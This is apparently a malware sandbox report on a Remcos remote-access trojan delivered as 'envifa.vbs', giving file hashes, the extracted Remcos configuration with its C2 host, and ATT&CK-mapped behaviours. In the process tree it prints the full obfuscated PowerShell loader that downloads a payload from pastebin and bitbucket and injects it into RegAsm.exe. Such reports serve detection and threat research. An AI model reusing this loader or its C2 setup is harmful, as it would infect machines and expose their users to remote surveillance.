remcos | f81f4cddc306cd06fb2cd456e08cd15e58cc55540fedfd3cc11d62fb74b6cd95

General

Target

envifa.vbs
Size

4.0MB
MD5

b9b5d25eb96b7de9629b3344aaca4d71
SHA1

e9f07e0dd33c986fc83ddf9e4e702dbb92dbb834
SHA256

f81f4cddc306cd06fb2cd456e08cd15e58cc55540fedfd3cc11d62fb74b6cd95
SHA512

69c1f2de49adc6d4cbc3f74ca83c8b1bdb882d10efd4d891345432e776e6a40d23fe456d23e8c004bc26a2c49a10baedf3255119e57f8e4481804250cfc614e3
SSDEEP

96:D6G7MtM9s/Q8u5QiOK09ALsFckHixZzan9gzdR3s:GSHbO9GsFcCudan9mhs

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Extracted

Family

remcos

Botnet

RemoteHost

C2

remcos2024fin.duckdns.org:4576

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-JKUC8S
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 5 IoCs

flow	pid	Process
8	4008	powershell.exe
9	4008	powershell.exe
15	4008	powershell.exe
19	4008	powershell.exe
24	4008	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4968	powershell.exe
4008	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
7	pastebin.com
9	pastebin.com
14	bitbucket.org
15	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4008 set thread context of 3300	4008	powershell.exe	86

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4968	powershell.exe
4968	powershell.exe
4008	powershell.exe
4008	powershell.exe
4008	powershell.exe
4008	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	4008	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3300	RegAsm.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 3692 wrote to memory of 4968	3692	WScript.exe	82
PID 3692 wrote to memory of 4968	3692	WScript.exe	82
PID 4968 wrote to memory of 4008	4968	powershell.exe	84
PID 4968 wrote to memory of 4008	4968	powershell.exe	84
PID 4008 wrote to memory of 3996	4008	powershell.exe	85
PID 4008 wrote to memory of 3996	4008	powershell.exe	85
PID 4008 wrote to memory of 3996	4008	powershell.exe	85
PID 4008 wrote to memory of 3300	4008	powershell.exe	86
PID 4008 wrote to memory of 3300	4008	powershell.exe	86
PID 4008 wrote to memory of 3300	4008	powershell.exe	86
PID 4008 wrote to memory of 3300	4008	powershell.exe	86
PID 4008 wrote to memory of 3300	4008	powershell.exe	86
PID 4008 wrote to memory of 3300	4008	powershell.exe	86
PID 4008 wrote to memory of 3300	4008	powershell.exe	86
PID 4008 wrote to memory of 3300	4008	powershell.exe	86
PID 4008 wrote to memory of 3300	4008	powershell.exe	86
PID 4008 wrote to memory of 3300	4008	powershell.exe	86
PID 4008 wrote to memory of 3300	4008	powershell.exe	86
PID 4008 wrote to memory of 3300	4008	powershell.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\envifa.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆Bm☆HY☆e☆Bm☆GU☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆Hk☆egB5☆HE☆cg☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆Gk☆agBj☆GM☆cw☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆Bp☆Go☆YwBj☆HM☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆HQ☆e☆B0☆C4☆RQBS☆EI☆VQBU☆EM☆TwBS☆EU☆TgBF☆FQ☆UwBP☆FM☆LwBz☆GQ☆YQBv☆Gw☆bgB3☆G8☆Z☆☆v☆G8☆d☆Bz☆G8☆ZwBh☆C8☆cwBz☆G8☆aQB2☆G4☆ZQ☆v☆Gc☆cgBv☆C4☆d☆Bl☆Gs☆YwB1☆GI☆d☆Bp☆GI☆Lw☆v☆Do☆cwBw☆HQ☆d☆Bo☆Cc☆I☆☆s☆C☆☆J☆B5☆Ho☆eQBx☆HI☆I☆☆s☆C☆☆JwBf☆F8☆XwBf☆F8☆XwBf☆GE☆UwBE☆EY☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆Xw☆t☆C0☆LQ☆t☆C0☆LQ☆t☆Cc☆L☆☆g☆CQ☆ZgB2☆Hg☆ZgBl☆Cw☆I☆☆n☆DE☆Jw☆s☆C☆☆JwBS☆G8☆Z☆Bh☆Cc☆I☆☆p☆Ck☆Ow☆=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\envifa.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$fvxfe = '0';$yzyqr = 'C:\Users\Admin\AppData\Local\Temp\envifa.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $ijccs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($ijccs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('txt.ERBUTCORENETSOS/sdaolnwod/otsoga/ssoivne/gro.tekcubtib//:sptth' , $yzyqr , '_______aSDF_____________________________________-------', $fvxfe, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4008
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3996
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:3300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
342a8c32e33798676d7f32a41672eea4

SHA1
be081108a2ce8ac9908c6b5611fcd1dedd041c56

SHA256
1205306e2acb12a0e2e23bf0a3c2b2d9f1b356bbc34a5b0ae7795de53891df79

SHA512
b4aba9ac42e94ce6ee3262a9fc1115177380697065f93af5ad59a1b0b65813b2cdb23749326325d510616882a51c43a43daaad56ca62037d101dcfcd778857b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n2aclrez.a4r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3300-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-76-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-24-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-31-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-34-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-64-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-43-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-62-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-57-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-51-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3300-56-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4008-22-0x00000225ED000000-0x00000225ED00A000-memory.dmp

Filesize
40KB

Download
memory/4008-23-0x00000225ED010000-0x00000225ED01A000-memory.dmp

Filesize
40KB

Download
memory/4968-10-0x0000029EF98C0000-0x0000029EF98E2000-memory.dmp

Filesize
136KB

Download
memory/4968-0-0x00007FFEFDC73000-0x00007FFEFDC75000-memory.dmp

Filesize
8KB

Download
memory/4968-30-0x00007FFEFDC70000-0x00007FFEFE731000-memory.dmp

Filesize
10.8MB

Download
memory/4968-11-0x00007FFEFDC70000-0x00007FFEFE731000-memory.dmp

Filesize
10.8MB

Download
memory/4968-12-0x00007FFEFDC70000-0x00007FFEFE731000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads